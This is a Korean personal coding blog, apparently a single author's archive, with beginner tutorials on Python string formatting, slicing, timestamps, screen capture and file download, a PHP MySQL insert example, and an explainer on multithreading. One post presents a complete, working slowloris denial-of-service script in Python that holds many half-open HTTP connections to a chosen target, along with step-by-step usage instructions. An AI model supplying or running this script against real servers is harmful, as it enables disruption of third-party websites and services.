Root Directory of Xeros :: Root Directory of Xeros

[Python3] 파이썬 화면 캡쳐하기

Posted by Root @ Hacker Xeros
2018.08.08 09:50 Python/ㄴ 예제코드

PIL(pillow) 모듈 설치방법

PIL모듈은 pip install pil 말고 pip install pillow로 설치하실 수 있습니다

PIL(pillow) 모듈을 이용한 화면 캡쳐 코드

from PIL import ImageGrab
img=ImageGrab.grab()
saveas='screenshot.png'
img.save(saveas)

이렇게 간단한 코드로 화면캡쳐를 할 수 있습니다, 다만 이렇게 될 경우 screenshot.png로 계속해서 저장되기때문에 덮어쓰기되서 계속해서 스크린샷을 찍고싶으신분들은 불편하실 수 있습니다

이럴 땐 현재 시간을 가져와서 파일명으로 사용하면 중복될 일이 없습니다

현재시간을 파일명으로 사용한다

from PIL import ImageGrab
import time
now = time.localtime()
time = "%04d-%02d-%02d-%02dh-%02dm-%02ds" % (now.tm_year, now.tm_mon, now.tm_mday, now.tm_hour, now.tm_min, now.tm_sec)

img=ImageGrab.grab()
saveas="{}{}".format(time,'.png')
img.save(saveas)

해당 코드 유튜브 설명영상



이 댓글을 비밀 댓글로

[Python3] 파이썬을 이용한 slowloris dos공격

Posted by Root @ Hacker Xeros
2018.07.25 17:41 Python/ㄴ 프로젝트

Socket 모듈을 이용한 slowloris dos 공격 파이썬 소스코드

import socket, random, time, sys
headers = [
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Accept-language: en-US,en"
]

sockets = []

def setupSocket(ip):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(4)
    sock.connect((ip, 80))
    sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

    for header in headers:
        sock.send("{}\r\n".format(header).encode("utf-8"))

    return sock

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Use it like this: python {} example.com".format(sys.argv[0]))
        sys.exit()

    ip = sys.argv[1]
    count = 200
    print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))

    for _ in range(count):
        try:
            print("Socket {}".format(_))
            sock = setupSocket(ip)
        except socket.error:
            break

        sockets.append(sock)

    while True:
        print("Connected to {} sockets. Sending headers...".format(len(sockets)))

        for sock in list(sockets):
            try:
                sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
            except socket.error:
                sockets.remove(sock)

        for _ in range(count - len(sockets)):
            print("Re-opening closed sockets...")
            try:
                sock = setupSocket(ip)
                if sock:
                    sockets.append(sock)
            except socket.error:
                break

        time.sleep(15)

해당 파이썬파일을 dos.py로 저장한 뒤

example.com 이라는 사이트에 slowloris 공격을 할 때 cmd를 실행 한 뒤 해당 파이썬 파일이 존재하는 디렉터리로 경로변경을 한 뒤

py dos.py example.com 커맨드로 사용하시면 됩니다

'Python > ㄴ 프로젝트' 카테고리의 다른 글

[Python3] 파이썬을 이용한 slowloris dos공격  (0) 2018.07.25
이 댓글을 비밀 댓글로

[Python3] 타임스탬프에서 빼기(계산) 이전날짜

Posted by Root @ Hacker Xeros
2018.06.28 08:04 Python/ㄴ 예제코드

타임스탬프 시간 계산하여 20초전 시간 출력

가끔 프로그래밍을 하다 보면 몇시간전, 몇초전 등 과거의 시간을 구해야 할 때가 있습니다

아래는 예제 코드입니다

# 코드

# 20초 전 시간
time_ago = datetime.datetime.now() - datetime.timedelta(seconds = 20)
time_ago = time_ago.strftime("%Y-%m-%d %H:%M:%S")

# 현재 시간
time_now = datetime.datetime.now()
time_now = time_now.strftime("%Y-%m-%d %H:%M:%S")

print(time_ago)
print(time_now)


# 실행 결과
> 2018-06-28 07:55:20
> 2018-06-28 07:55:40

실행결과를 보면 첫번째 행이 과거시간(현재 시간 - 20초), 두번째 행이 현재시간을 오류 없이 잘 나타내주는것을 볼 수 있습니다

타임스탬프 seconds(초단위) 말고 다른 값 수정하기

간단합니다,

# 코드

# 1초전
time_ago = datetime.datetime.now() - datetime.timedelta(seconds = 1)

# 1분전
time_ago = datetime.datetime.now() - datetime.timedelta(minutes = 1)

# 1시간전
time_ago = datetime.datetime.now() - datetime.timedelta(hours = 1)

# 1일전
time_ago = datetime.datetime.now() - datetime.timedelta(days = 1)

이렇게 1초전, 1분전, 1시간전, 1일전으로 바꾸어 사용 할 수도 있습니다.

아쉽게도 분명 방법은 있겟지만 해당 함수를 사용해서는 days까지밖에 변경할수 없더군요 ㅎㅎ 만약 찾으시면 댓글 남겨주시면 수정하도록하겠습니다


아래는 해당 코드의 파이썬 스크립트파일입니다

timestamp_ago.py




이 댓글을 비밀 댓글로

[Python3] 파이썬 시간구하기

Posted by Root @ Hacker Xeros
2018.06.28 07:32 Python/ㄴ 예제코드

timestamp와 시간 구하기

# 코드

# datetime 모듈을 이용하여 타임스탬프 구하기
import datetime
time = datetime.datetime.now()
print(time)

# time 모듈을 이용하여 시간 구하기
import time
now = time.localtime()
time = "%04d-%02d-%02d %02d:%02d:%02d" % (now.tm_year, now.tm_mon, now.tm_mday, now.tm_hour, now.tm_min, now.tm_sec)
print(time)


# 실행 결과

> 2018-06-28 07:31:49.689194 > 2018-06-28 07:31:49


아래는 해당 코드의 파이썬 스크립트입니다

timestamp.py



이 댓글을 비밀 댓글로

[Python3] 파이썬 디렉토리 내 파일 존재여부 확인 코드

Posted by Root @ Hacker Xeros
2018.06.26 07:28 Python/ㄴ 예제코드

파이썬 디렉토리 파일 존재 여부 확인



# 코드
# 만약 테스트.txt 파일이 해당 파이썬 스크립트가 동작하는 위치에 존재 할 경우
if os.path.isfile(test.txt):
print("파일이 존재합니다")

# 그렇지 않을 경우
else:
print("파일이 존재하지 않습니다")


프로그램이 작동하는 위치에 test.txt 파일이 존재 할 경우 존재한다, 존재하지 않을 경우 존재하지 않는다고 출력을 해주는 파이썬 코드입니다


이 댓글을 비밀 댓글로

[PHP7] PHP 데이터베이스에 값 삽입하기 (INSERT INTO)

Posted by Root @ Hacker Xeros
2018.06.22 08:11 PHP/ㄴ 예제코드

Insert Data Into MySQL Using MySQLi

데이터베이스와 테이블이 생성되고 난 후, DB와 테이블에 데이터를 추가 해 보도록 하겠습니다.

몇 가지 문법 규칙을 따라야 합니다
- SQL 질의는 PHP에서 따옴표로 감싸져야 합니다.
- SQL 질의 내의 문자열 값은 따옴표로 감싸져야 합니다.
- 정수 값은 따옴표로 감싸지 않습니다.
- NULL 예약어는 따옴표로 감싸지 않습니다.

INSERT INTO 문은 MySQL 테이블에 새로운 레코드를 삽입하는데 사용됩니다.
INSERT INTO table_name (colum1, colum2, colum3, ...)

만약 MySQL 데이터베이스에 HELLO 라는 데이터베이스가 있고 여기에 WORLD라는 빈 테이블이 존재한다고 가정 했을 때,

빈 테이블 WORLD에 데이터를 채우는 코드입니다

<?php
$servername = "localhost";
$username = "데이터베이스 유저명";
$password = "데이터베이스 비밀번호";
$dbname = "HELLO";
 
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn--->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 
 
$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com')";
 
if ($conn->query($sql) === TRUE) {
    echo "New record created successfully";
} else {
    echo "Error: " . $sql . "
" . $conn->error; } $conn->close(); ?>

위 코드와 같이 작성해줄 경우 정상작동하는것을 확인하실 수 있습니다


'PHP > ㄴ 예제코드' 카테고리의 다른 글

[PHP7] PHP 데이터베이스에 값 삽입하기 (INSERT INTO)  (0) 2018.06.22
이 댓글을 비밀 댓글로

[Hacking] UDP Flood DDOS 공격방식에 대해 서술한 PDF

Posted by Root @ Hacker Xeros
2018.04.27 04:32 IT Information/ㄴ 해킹 정보

자료의 정의

2007년에 작성된 문서로, 년도가 꽤 되어 현재 기술과 많이 달라졌을 수 있지만 간략하게 UDP Flood DDOS 공격에 대해 이해하기엔 괜찮은것같다


이 댓글을 비밀 댓글로

[Programming] 멀티 쓰레딩과 멀티 프로세싱의 차이

Posted by Root @ Hacker Xeros
2018.04.18 00:12 IT Information/ㄴ 프로그래밍 정보

멀티 쓰레딩과 싱글 쓰레딩의 차이

▲ 쓰레드가 무엇인지 한 눈에 파악가능하다


멀티 프로세싱 대 멀티 스레딩다중 처리 및 다중 스레드는 시스템에 성능을 추가합니다. 멀티 프로세싱 은 더 많은 CPU 또는 프로세서를 시스템에 추가함으로써 시스템의 컴퓨팅 속도를 향상시킵니다. 멀티 스레딩은 프로세스가 시스템의 응답 성을 높이는 스레드를 더 많이 생성 할 수있게합니다. 아래에 표시된 비교 차트의 도움으로 논의한 멀티 프로세싱과 멀티 스레딩 사이에 다른 점이 몇 가지 있습니다.


비교 차트

/

다중 처리멀티 스레딩
기본멀티 프로세싱은 CPU를 추가하여 컴퓨팅 성능을 향상시킵니다.멀티 스레딩은 단일 프로세스의 다중 스레드를 만들어 컴퓨팅 성능을 향상시킵니다.
실행여러 프로세스가 동시에 실행됩니다.단일 프로세스의 여러 스레드가 동시에 실행됩니다.
창조프로세스 생성은 시간 소모적이며 리소스 집약적입니다.쓰레드 생성은 감지 시간과 자원 모두에서 경제적입니다.
분류다중 처리는 대칭 또는 비대칭 일 수 있습니다.멀티 스레딩은 분류되지 않습니다.


다중 처리의 정의

다중 처리 시스템은 두 개 이상의 프로세서를 가진 시스템입니다. 시스템의 컴퓨팅 속도를 높이기 위해 CPU가 시스템에 추가됩니다. 각 CPU에는 고유 한 레지스터 및 주 메모리 세트가 있습니다. CPU가 분리되어 있기 때문에 하나의 CPU가 처리 할 항목이 없어야하고 유휴 상태 일 수 있고 다른 프로세스가 프로세스에 과부하가 걸릴 수 있습니다. 이러한 경우 프로세스와 리소스는 프로세서간에 동적으로 공유됩니다.다중 처리

다중 처리는 대칭 다중 처리 및 비대칭 다중 처리 로 분류 할 수 있습니다 대칭 다중 처리에서 모든 프로세서는 시스템의 모든 프로세스를 자유롭게 실행할 수 있습니다. 비대칭 멀티 프로세싱에서는 프로세서간에 마스터 - 슬레이브 관계가 있습니다. 마스터 프로세서는 슬레이브 프로세서에 프로세스를 할당합니다.

프로세서에 메모리 컨트롤러 가 내장 된 경우 프로세서 를 추가하면 시스템의 주소 지정 가능한 메모리가 증가합니다. 다중 처리는 메모리 액세스 모델을 균일 한 메모리 액세스 에서 불균일 한 메모리 액세스 로 변경할 수 있습니다 일정한 메모리 액세스는 프로세서에서 RAM에 액세스하는 데 소요되는 시간이 같습니다. 반면, 비 균일 메모리 액세스는 다른 부분보다 메모리의 일부분에 액세스하는 데 더 많은 시간을 필요로합니다.

멀티 스레딩의 정의

멀티 스레딩은 프로세스의 컨텍스트 내에서 단일 프로세스의 여러 스레드를 동시에 실행하는 것입니다. 이제 스레드가 무엇인지에 대해 먼저 논의 해 보겠습니다. 스레드 프로세스의 자체 스레드 ID, 프로그램 카운터, 레지스터 스택을 가지고 독립적으로 실행할 수있는 프로세스의 코드 세그먼트를 의미한다. 그러나 동일한 프로세스에 속하는 스레드는 코드, 데이터 및 시스템 자원과 같은 프로세스의 소유물을 공유해야합니다. 각 서비스 요청에 대해 별도의 프로세스를 작성하면 시간을 소비하고 시스템 자원을 소모합니다. 이 오버 헤드가 발생하는 대신 프로세스의 스레드를 만드는 것이 더 효율적입니다.

멀티 스레딩멀티 스레딩 개념을 이해하려면 워드 프로세서를 예로 들어 보겠습니다 워드 프로세서는 그래픽을 표시하고 키 입력에 응답하며 철자 및 문법 검사를 계속합니다. 이 작업을 동시에 수행하기 위해 다른 워드 프로세서를 열 필요는 없습니다. 하나의 워드 프로세서에서 여러 스레드를 통해 발생합니다.

멀티 스레딩이제 멀티 스레딩의 이점을 고려해 보겠습니다. 멀티 스레딩 은 프로세스의 한 스레드가 차단되거나 긴 작업을 수행하는 것처럼 응답 을 증가 시키지만 프로세스는 계속됩니다. 다중 스레드의 두 번째 이점은 프로세스의 여러 스레드가 동일한 주소 공간에서 동일한 코드 및 데이터를 공유 하므로 자원 공유 입니다.

쓰레드를 생성하는 것은 그들이 속한 프로세스의 코드와 데이터를 공유하기 때문에 경제적입니다. 따라서 시스템은 각 스레드에 대해 개별적으로 자원을 할당 할 필요가 없습니다. 다중 처리 운영 체제에서 다중 스레드를 늘릴 수 있습니다 다중 CPU에서의 멀티 스레딩은 병렬 처리를 증가시킵니다.


멀티 프로세싱과 멀티 스레딩의 주요 차이점

  1. 멀티 프로세싱과 멀티 스레딩의 주요 차이점은 멀티 프로세싱을 사용하면 시스템에 2 개 이상의 CPU가 추가되는 반면 멀티 스레딩을 사용하면 프로세스가 여러 스레드를 생성하여 시스템의 컴퓨팅 속도를 높일 수 있다는 것입니다.
  2. 다중 처리 시스템은 동시에 여러 프로세스를 실행 하지만, 다중 스레드 시스템 은 프로세스의 여러 스레드 를 동시에 실행합니다.
  3. 프로세스를 생성 할 수 있습니다 시간을 소비 하고 심지어 배출 시스템 자원을. 그러나 스레드를 생성 하는 것은 동일한 프로세스에 속한 스레드가 해당 프로세스의 소품을 공유하므로 경제적 입니다.
  4. 멀티 프로세싱은 대칭 멀티 프로세싱 과 비대칭 멀티 프로세싱 으로 분류 할 수 있지만 멀티 스레딩은 더 이상 분류되지 않습니다.

결론:

멀티 프로세싱 시스템에서 멀티 스레딩이 병렬 처리를 증가 시키므로 멀티 프로세싱 환경에서 멀티 스레딩의 이점을 점차적으로 높일 수 있습니다.

이 댓글을 비밀 댓글로

[Python3] 파이썬에서 URL(웹서버)로부터 파일 다운로드하기

Posted by Root @ Hacker Xeros
2018.03.30 02:06 Python/ㄴ 예제코드

파이썬에서 URL(웹서버)로부터 파일 다운로드하기

해당 내용에 관해 한국어로 잘 표기 된 포스팅, 자료가 없어 삽질하다 다른 분들은 저와 같은 고생 하지 마시라고 외국 문헌 참조하여 쓰게되었습니다

해당 포스팅은 Python을 사용하여 URL(웹서버) 에서 파일을 효율적/정확하게 다운로드하는 방법에 관한것입니다.

Requests를 사용하여 파일을 다운로드하는 방법

# Code

import requests

url = 'http://google.com/favicon.ico'
r = requests.get(url, allow_redirects=True)
open('google.ico', 'wb').write(r.content)

위 코드는 http://google.com/favicon.ico 에서 미디어를 다운로드하고 google.ico 라는 이름으로 저장합니다

(저장 경로는 해당 파이썬 파일이 위치하는 디렉터리에 저장됩니다)


이 댓글을 비밀 댓글로

[Python3] 파이썬의 문자열 포매팅과 활용 4

Posted by Root @ Hacker Xeros
2018.03.28 16:28 Python/ㄴ 문법

format() 함수를 이용한 소수점 표현

# 코드

print("소수 : {}".format(21.11234567)) # 전체 자리수 삽입
print("소수점 1자리까지 : {:.1f}".format(21.7777777))


# 코드 설명
# format 함수 사용 시 특수한 기능을 갖게 하는 문자 "콜론"( : )


# 실행 결과

> 소수 : 21.11234567
> 소수점 1자리까지 : 21.8


format() 함수를 이용한 문자열 정렬

# 코드

print("[{}] [{}]".format("파이썬", "짱재밌다"))
print("[{0}] [{1}]".format("파이썬", "짱재밌다"))
print("[{0:10}] [{1:10}]".format("파이썬", "짱재밌다")) # 기본적으로 프로그래머가 설정해주지 않으면 좌측정렬된다.
# 콜론(:)은 인덱스 뒤에 위치한다. 근데, 인덱스는 생략 가능

print("[{:>10}] [{:>10}]".format("파이썬", "짱재밌다")) # 우측정렬 -->
print("[{:<10}] [{:<10}]".format("파이썬", "짱재밌다")) # 좌측정렬 <--
print("[{:^10}] [{:^10}]".format("파이썬", "짱재밌다")) # 가운데정렬


# 코드 설명
# 콜론( : )은 인덱스 뒤에 위치한다 그러나 인덱스는 생략 가능하다
# 위 코드에서 정렬 부분을 보면 >, <, ^ 를 확인할 수 있다, 정렬하는 위치의 기준을 나타내는것인데 그냥 방향표시라 생각하면 이해하기 수월하다
# 예를들어 우측정렬 할 때 사용하는 {:>10} 을 직독직해해보면 >(오른쪽) 방향으로 10칸 공백을 만들어 우측 정렬 하겠다는 뜻이 된다


# 실행 결과

> [파이썬] [짱재밌다] > [파이썬] [짱재밌다] > [파이썬 ] [짱재밌다 ] > [ 파이썬] [ 짱재밌다] > [파이썬 ] [짱재밌다 ] > [ 파이썬 ] [ 짱재밌다 ]


정렬 후 공백 채우기

방금 설명했던 문자열 정렬을 사용하고 나니 궁금증이 생긴다.
여백을 공백으로 하지 아니하고 내가 원하는 문자로 채울 수는 없을까?

방법이 있다, 만약 가운데 정렬을 하고 나머지 양쪽 빈 여백에 각각 "하"와 "호"로 채우고 싶다면 아래와 같이 프로그램을 작성하면 된다.
# 코드

print("[{:하^10}] [{:호^10}]".format("파이썬", "짱재밌다")) # 원하는 한 문자 사용


# 코드 설명
# {:^10} {:^10} 이 코드를 {:하^10} {:호^10} 이렇게 변경해주면 된다


# 실행 결과

> [하하하파이썬하하하하] [호호호짱재밌다호호호]


이 댓글을 비밀 댓글로

[Python3] 파이썬의 문자열 포매팅과 활용 3

Posted by Root @ Hacker Xeros
2018.03.28 15:24 Python/ㄴ 문법

format() 함수를 사용한 포매팅 방식

# 코드

print("제 이름은 {}입니다.".format("Xeros"))
print( "저는 {}살 입니다.".format(19))


# 코드 설명
# print() 함수 내의 문자열에 {} 포맷을 짚어넣고 format()함수에{} 포맷에 들어갈 내용을 적는다.


# 실행 결과

> 제 이름은 Xeros입니다.
> 저는 19살입니다


{ } 안에 인덱스값 넣어 순서 지정하기

# 코드

print("1. 제 이름은 {}이고 {}살 입니다.".format("Xeros",19)) print("2. 제 이름은 {0}이고 {1}살 입니다.".format("Xeros",19)) print("3. 제 이름은 {1}이고 {0}살 입니다.".format(19,"Xeros"))


# 코드 설명
# {} 안에 인덱스를 넣지 않으면, 순서대로 값을 가져온다. # {} 안에 인덱스를 넣으면, 뒤에 값들의 순서와 일치하지 않아도, 원하는대로 가져올 수 있다.


# 실행 결과

> 1. 제 이름은 Xeros이고 19살 입니다.
> 2. 제 이름은 Xeros이고 19살 입니다. > 3. 제 이름은 Xeros이고 19살 입니다.


format() 함수에서 변수 사용하기

# 코드

name = "Xeros" age = 19 print("4. 제 이름은 {}이고 {}살 입니다.".format(name,age))


# 코드 설명
# name과 age 변수를 선언하고 format() 함수에 지정된 값을 넣는 대신 변수로 대체하였다


# 실행 결과

> 4. 제 이름은 Xeros이고 19살 입니다.


format() 함수에서 키워드 사용하기

# 코드

print("5. 제 이름은 {n}이고 {a}살 입니다.".format(n=name,a=age))
# n과 a는 키워드이다, format() 안에 원하는 키워드에 맞게 값을 대입

print("6. 제 이름은 {n}이고 {a}살 입니다.".format(a=age,n=name))
# 순서 상관없음

print("7. 제 이름은 {name}이고 {age}살 입니다.".format(age=age,name=name))
# 키워드와 변수가 이름이 같다

# format() 안에서 앞에 사용된 이름이 키워드가 된다, 뒤는 값 (근데 값이 변수인것)
# 키워드와 인덱스 혼용

print("8. 제 {}은 {name}이고 {}살 입니다.".format("이름", 20, name=name))
# 반드시 키워드는 맨 뒤에 위치해야 한다. (키워드가 들어있는 {} 는 인덱스에 포함X)
# 에러 print("8. 제 {}은 {name}이고 {}살 입니다.".format("이름", name=name, 20))


# 코드 설명
# 따로 설명하기에 코드가 너무 길어 코드 부분에 설명도 함께 적시하였습니다


# 실행 결과

> 5. 제 이름은 Xeros이고 19살 입니다.
> 6. 제 이름은 Xeros이고 19살 입니다. > 7. 제 이름은 Xeros이고 19살 입니다. > 8. 제 이름은 Xeros이고 20살 입니다.


기본 포매팅 방식과 { }을 사용한 포매팅 방식의 비교

# 코드

print("%s는 %d살" % ("Xeros",19)) print("{}는 {}살".format("Xeros", 19))


# 코드 설명
# { } 포매팅 방식이 훨씬 간결하고 사용하기 쉬운것을 알 수 있다.


# 실행 결과

> Xeros는 19살 > Xeros는 19살



이 댓글을 비밀 댓글로

[Python3] 파이썬의 문자열 포매팅과 활용 2

Posted by Root @ Hacker Xeros
2018.03.27 17:12 Python/ㄴ 문법

문자열 포매팅은 Print()함수와 관련이 없다

# Code

my_str = "정수 : %d입니다." %10
print(my_str)


# 실행 결과

> 정수 : 10입니다.


변수가 가리키는 값을 포매팅 값으로 호출하여 출력

# Code

year = 2018
print("%d년 입니다." %year)

year +=1 # 복합대입연산자(+=)를 사용 해 year 변수가 가리키는 값에서 1만큼을 추가한다
print("%d년 입니다." %year)

year -=2 # 복합대입연산자(-=)를 사용 해 year 변수가 가리키는 값에서 2만큼을 제거한다
print("%d년 입니다." %year)


# 실행 결과

> 2018년 입니다
> 2019년 입니다
> 2017년 입니다


2개 이상의 문자열 넣기

# Code

print("%d개 이상의 %s넣기"%(2, "문자열"))


# 실행 결과

> 2개 이상의 문자열넣기

1. 2개이상의 값을 넣을떄는 ( )로 묶어준다

2. % 뒤에다가 소괄호로 묶은 뒤 값을 나열한다.


포매팅을 사용하는 코드에서 %를 출력하기

# Code

print("현재 강수확률은 100%입니다.") print("현재 강수확률은 %d%%입니다." %100)


# 실행 결과

> 현재 강수확률은 100%입니다. > 현재 강수확률은 100%입니다.

1. 포매팅을 사용하지 않으면, %문자는 그냥 사용 가능하다.

2. 포매팅을 사용하면, %는 특수한 기능을 갖게 된다.

3. %% < 이런식으로 %를 두 번 사용하여 하나의 %로 처리하게된다.


포맷코드를 활용한 소수점 표현

# Code
print("기본 6자리, 자동반올림 : %f" % 3.166666777) print("소수점 지정 (소수점 뒤 1자리까지) : %.1f" % 3.1212321838712937129847) print("소수점 지정 (소수점 뒤 3자리까지) : %.3f" % 3.1212321838712937129847)


# 실행 결과

> 기본 6자리, 자동반올림 : 3.166667 > 소수점 지정 (소수점 뒤 1자리까지) : 3.1 > 소수점 지정 (소수점 뒤 3자리까지) : 3.121

지난번에도 설명했지만 파이썬에서 %f를 통해 실수를 출력할 경우 자동 6자리까지 반올림이되어 출력된다.

하지만 이것을 프로그래머가 소수 몇째자리까지 출력이 되도록 할 것인지 설정해줄 수 있다.

포맷코드 %f 사용 시 %.출력하고싶은자릿수f 형식으로 코드를 작성하면 된다.


포맷코드를 활용한 정렬과 공백

# Code
print("[%s] [%s]" % ("파이썬", "재밌다!")) print("[%10s] [%10s]" % ("파이썬", "재밌다!")) # 우측정렬 print("[%-10s] [%-10s]" % ("파이썬", "재밌다!")) # 좌측정렬


# 실행 결과

> [파이썬] [재밌다!] > [ 파이썬] [ 재밌다!] > [파이썬 ] [재밌다! ]

%와 포맷코드 사이에 정수를 넣으면, 그 수 만큼 최소 공백을 확보하겠다는 뜻이다

숫자 입력란에 음수를 입력 할 경우 문자를 좌측정렬하고 오른쪽에 공백을 확보하겠다는 의미이며

양수를 입력할 경우 문자를 우측정렬하고 왼쪽에 공백을 확보하겠다는 의미이다

이 댓글을 비밀 댓글로

[Programming] Visual Studio Code 소스코드 정렬 단축키

Posted by Root @ Hacker Xeros
2018.03.21 17:13 IT Information/ㄴ 프로그래밍 정보

저는 코딩 프로그램으로 VS Code를 애용하는데 가끔 소스코드같은것을 정렬해주어야 할 필요성이 있습니다 그럴 땐 VS Code의 내장 코드 정렬 기능을 사용하면되는데 아주 간단합니다


이런식으로 정렬이 되지 않은 코드가 존재 할 때



정렬하고자 하는 코드들을 드래그해준 뒤 Ctrl + K + F 커맨드 를 사용하시면



아래와 같이 자동 정렬 되는것을 확인하실 수 있습니다


이 댓글을 비밀 댓글로

[Project] 카카오톡봇 단타경고 JavaScript 코드

Posted by Root @ Hacker Xeros
2018.03.21 16:49 Other Project/ㄴ 챗봇



사람이 많은 채팅방에서는 단타방지 기능이 필수적입니다


예를들면 "안녕하세요"라는 문장을 카카오톡에선 꼭

"안녕"

"하세요"

이런식으로 여러번에 걸쳐 톡을 전송하는사람이 있습니다


그런사람에게 경고를 주기 위한 JavaScript 소스코드입니다


주요 기능은 3번 연속으로 5글자 이하의 문자를 전송 할 경우 경로를 띄우는 형식입니다


도배방지.js


이 댓글을 비밀 댓글로

[Project] 카카오톡봇 단타경고 JavaScript 코드

Posted by Root @ Hacker Xeros
2018.03.21 16:48 Other Project/ㄴ 챗봇


사람이 많은 채팅방에서는 단타방지 기능이 필수적입니다


예를들면 "안녕하세요"라는 문장을 카카오톡에선 꼭

"안녕"

"하세요"

이런식으로 여러번에 걸쳐 톡을 전송하는사람이 있습니다


그런사람에게 경고를 주기 위한 JavaScript 소스코드입니다


주요 기능은 3번 연속으로 5글자 이하의 문자를 전송 할 경우 경로를 띄우는 형식입니다


도배방지.js


이 댓글을 비밀 댓글로

[Python3] 파이썬의 문자열 포매팅과 활용 1

Posted by Root @ Hacker Xeros
2018.03.21 05:16 Python/ㄴ 문법

문자열 포매팅이란?

1. 문자열 내에 어떤 값을 삽입하는 방법이다.
2. 문자열에서 사용할 값이 변할 때(변수) 유용하다.

포맷 코드

문자열 포매팅에 대해 배우기 전에 숙지하고 넘어가야 하는 개념이 바로 "포맷코드(서식문자)" 이다, 각각의 자료형에 따라 사용하는 포맷코드가 달라지기 때문이다.

%s : 자료형이 문자열일때 사용한다.
%c : 자료형이 문자 1글자일때 사용한다.
%d : 자료형이 정수일때 사용한다.
%f : 자료형이 실수(소수)일때 사용한다.

이 외에도 16진수, 8진수 등 더 많은 형식에 대한 포맷코드가 존재하지만 우선 이번 포스팅에서는 여기까지만 설명한다.

포매팅 방법

%d 등 포맷코드가 문자열에 포함되어있으면, 문자열이 끝난 뒤 %기호를 붙이고, 포맷코드에 들어갈 값을 입력해준다

포맷코드의 형식과 값의형식 (type)이 같아야 한다 (%d 포맷코드가 들어가면, 반드시 정수형 자료를 넣어주어야한다)

기본적인 포매팅 방식을 사용하여 정수를 출력해보자

# Code

print("정수 : %d입니다." %10)


# 실행 결과

> 정수 : 10입니다


기본적인 포매팅 방식을 사용해서 실수를 출력해보자

# Code

print( "실수 : %f입니다." %10.12)


# 실행 결과

> 실수 : 10.120000입니다


이런식으로 실수를 출력하게 되면 우리는 실수값에 10.12를 주었지만 %f포맷코드는 기본설정이 소수점 뒤 6자리까지이기때문에 10.120000 라는 값을 출력한다.


위의 포매팅 방식을 변수에 저장하여 사용하기

# Code

my_str = "정수 : %d입니다." %10
my_str2 = "실수 : %f입니다." %10.12

print(my_str)
print(my_str2)


# 실행 결과

> 정수 : 10입니다
> 실수 : 10.120000입니다


기본적인 포매팅 방식에서 사용 한 코드("정수 : %d입니다." %10)를 my_str 변수에 저장시키고 그 변수를 출력하는 방법이다, 문자열이든, 숫자열이든 상관없이 사용할 수 있다. 또한 여기서 알아가야 할 개념중 하나가 문자열 포매팅은 print()함수와 관련이 없다, 꼭 기억하도록 하자


문자열 포매팅을 이용한 형변환

# Code

print("(형변환)정수 -> 실수 : %f" %10)

print("(형변환)정수 -> 정수 : %d" %10.12345)


# 실행 결과


(형변환)정수 -> 실수 : 10.000000 (형변환)정수 -> 정수 : 10


정수값(10)을 %f 포맷코드를 사용하여 출력 할 경우 원래는 존재하지 않던 소수점이 추가되어 10.000000 이라는 값으로 형변환이 되고


실수값(10.12345)을 %d 포맷코드를 사용하여 출력 할 경우 원래 존재하던 소수점이 손실되어 10 이라는 값으로 형변환이 된다


형변환은 주로 실수의 값을 받았을때 그 값을 정수로 변환시켜 값을 사용해야할 때 사용한다.


사용하기 편리한 %s 포맷코드

다른 여러 포맷 코드들이 있지만 그중 보다 편리하게 사용할 수 있는 포맷코드가 있다 바로 "%s" 포맷코드이다
"%d" 포맷코드는 정수, "%f" 포맷코드는 실수 등 자료형에 따라 포맷코드를 다르게 사용해야 하는 반면 "%s" 포맷코드는 어떠한 자료형이든 사용할 수 있다.

쉽게 설명하자면 직사각형은 정사각형이 아니지만 정사각형은 직사각형이기도 한것과 비슷한 개념이다

# Code

print("문자열 : %s" % 10)

print("문자열 : %s" % 10.12345)

print("문자열 : %s" % "안녕하세요")

print("문자열 : %s" % "abcd")

print("문자열 : %s" % "ABCD")

print("문자열 : %s" % "!@#")


# 실행 결과


> 문자열 : 10
> 문자열 : 10.12345
> 문자열 : 안녕하세요
> 문자열 : abcd
> 문자열 : ABCD
> 문자열 : !@#


위와같이 "%s" 포맷코드는 자료형이 정수형이던 실수형이던 문자형이던 심지어 특수문자던 상관 없이 문제없이 사용할 수 있다.





이 댓글을 비밀 댓글로

[Python3] 파이썬의 문자열 슬라이싱

Posted by Root @ Hacker Xeros
2018.03.21 05:15 Python/ㄴ 문법

문자열을 슬라이싱 하는 여러가지 방법

이번 포스팅에서 사용될 코드들을 위해 먼저 변수를 하나 선언 한 뒤 문자열 값을 정의한다

# Code

# 이번 포스팅에선 아래 변수를 가지고 문자열 슬라이싱에 대해 설명하겠다.
my_str = "without haste, but without rest."

하나, 하나씩 슬라이싱해서 출력하기

아주 기초적인 방법이다.
# Code

print((my_str[0] + my_str[1] + my_str[2] + my_str[3]))

# 실행 결과

> with

my_str번수의 0, 1, 2, 3 번째 인덱스들을 각 각 순서대로 출력해서 with라는 실행 결과가 나오게 된다, 하지만 이 방법은 너무나도 효율적이지 않기 때문에 잘 사용하지 않는다.


위의 방법이 불편하기 때문에 나온 방법이 아래 방법이다


조금 더 효율적으로 슬라이싱해서 출력하기

# Code

print(my_str[0:4])


# 실행 결과

> with


분명 하나, 하나씩 잘라내어 출력하는 방법과는 다른 코드이지만 결과값은 똑같이 with이다.

확실히 코드의 복잡함이 줄어들고 효율적이다.


print(my_str[시작인덱스값:끝인덱스값])


슬라이싱에서 시작과 끝 인덱스값이 0일 필요는 없다

다른 예제들을 살펴보면 시작인덱스값은 항상 0이고 끝은 4였다, 하지만 시작 인덱스값과 끝 인덱스값은 프로그래머가 원하는대로 설정할 수 있다
# Code

print(my_str[8:13])


# 실행 결과

> haste


실행 결과와 같이 my_str변수가 가리키는 문자열 without haste, but without rest. 의 8번째 인덱스인 h부터 13번째인덱스인 e까지 출력되는것을 학인할 수 있다.


인덱스 초과 시 자동으로 끝인덱스까지만 출력한다

# Code

print(my_str[0:100])


# 실행 결과

> without haste, but without rest.


